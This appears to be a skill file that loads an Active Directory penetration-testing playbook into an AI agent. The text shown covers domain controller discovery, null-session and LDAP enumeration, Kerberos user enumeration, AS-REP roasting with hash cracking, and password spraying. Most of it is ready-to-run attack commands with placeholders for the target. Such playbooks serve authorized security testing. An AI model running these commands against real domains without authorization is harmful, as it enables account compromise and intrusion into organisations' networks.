playbook-ad

name	playbook-ad
description	Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.

Active Directory Pentest Playbook

Prerequisites

• Domain name, DC IPs
• Initial foothold or network access to AD environment
• Credentials (if provided for gray box)

Phase Flow

1. AD Enumeration (No Creds)

# Identify Domain Controllers
nmap -sV -p 88,389,636,445,3268,3269 <subnet>

# DNS enumeration
dig SRV _ldap._tcp.dc._msdcs.<domain>
dig SRV _kerberos._tcp.<domain>

# Null session enumeration
enum4linux-ng -A <dc_ip>
rpcclient -U '' -N <dc_ip> -c 'enumdomusers'
ldapsearch -x -H ldap://<dc_ip> -b "" -s base namingContexts

# SMB shares without auth
smbclient -N -L //<dc_ip>
crackmapexec smb <dc_ip> --shares -u '' -p ''

2. User Enumeration & Credential Attacks

# Kerbrute user enumeration
kerbrute userenum -d <domain> --dc <dc_ip> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# AS-REP Roasting (no creds needed)
impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt -dc-ip <dc_ip>
# Crack with hashcat -m 18200

# Password spraying
crackmapexec smb <dc_ip> -u users.txt -p 'Season2024!' --no-bruteforce
kerbrute passwordspray -d <domain> --dc <dc_ip> users.txt